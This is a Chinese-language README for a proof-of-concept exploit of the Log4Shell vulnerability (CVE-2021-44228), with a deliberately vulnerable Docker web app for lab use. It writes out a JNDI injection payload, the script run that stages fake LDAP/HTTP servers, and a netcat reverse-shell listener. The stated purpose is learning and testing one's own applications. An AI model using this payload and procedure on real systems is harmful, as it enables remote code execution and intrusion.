针对最近发现的CVE-2021-44228漏洞的概念验证。
最近log4j中出现了一个新漏洞,log4j是一个Java日志库,被广泛用于Elasticsearch、Minecraft等众多应用中。
在这个仓库中,我们制作了一个示例漏洞应用及其概念验证(POC)利用代码。
Vuln Web App:
Ghidra (旧脚本):
Minecraft PoC (旧脚本):
作为概念验证,我们创建了一个Python文件来自动化该过程。
pip install -r requirements.txt
nc -lvnp 9001
jdk1.8.0_20,并且位于同一目录下。$ python3 poc.py --userip localhost --webport 8000 --lport 9001
[!] CVE: CVE-2021-44228
[!] Github repo: https://github.com/kozmer/log4j-shell-poc
[+] Exploit java class created success
[+] Setting up fake LDAP server
[+] Send me: ${jndi:ldap://localhost:1389/a}
Listening on 0.0.0.0:1389
此脚本将为你设置HTTP服务器和LDAP服务器,并创建可用于粘贴到易受攻击参数中的payload。之后,如果一切顺利,你应该会在lport上获得一个shell。
我们添加了一个包含漏洞web应用的Dockerfile。你可以按照以下步骤使用它:
1: docker build -t log4j-shell-poc .
2: docker run --network host log4j-shell-poc
运行后,你可以通过localhost:8080访问它。
如果你想进一步开发该项目,可以使用我们开发时使用的Intellij IDE。我们还包含了一个.idea文件夹,其中有一些配置文件可以让工作更轻松。你也可以使用其他IDE。
在创建利用时,我们不确定哪些Java版本有效,哪些无效,因此选择使用Java 8的最早版本之一:java-8u20。
Oracle很幸运地为所有以前的Java版本提供了存档:
https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html.
向下滚动到8u20,并根据你的操作系统和硬件下载相应文件。

注意: 你需要创建一个账户才能下载该软件包。
下载并解压归档文件后,可以在jdk1.8.0_20/bin中找到java和一些相关二进制文件。
注意: 请确保将jdk文件夹解压到本仓库中,并保持同名,以便其正常工作。
❯ tar -xf jdk-8u20-linux-x64.tar.gz
❯ ./jdk1.8.0_20/bin/java -version
java version "1.8.0_20"
Java(TM) SE Runtime Environment (build 1.8.0_20-b26)
Java HotSpot(TM) 64-Bit Server VM (build 25.20-b23, mixed mode)
本仓库并非旨在成为CVE-2021-44228的一键利用工具。该项目的目的是帮助人们了解这个强大的漏洞,并可能测试自己的应用程序(然而,有更适合此目的的应用,例如:https://log4shell.tools/)。
我们的团队不会协助或支持任何恶意使用此利用的行为,因此如果你寻求帮助,可能需要向我们提供你拥有目标服务或有权在其上进行渗透测试的证明。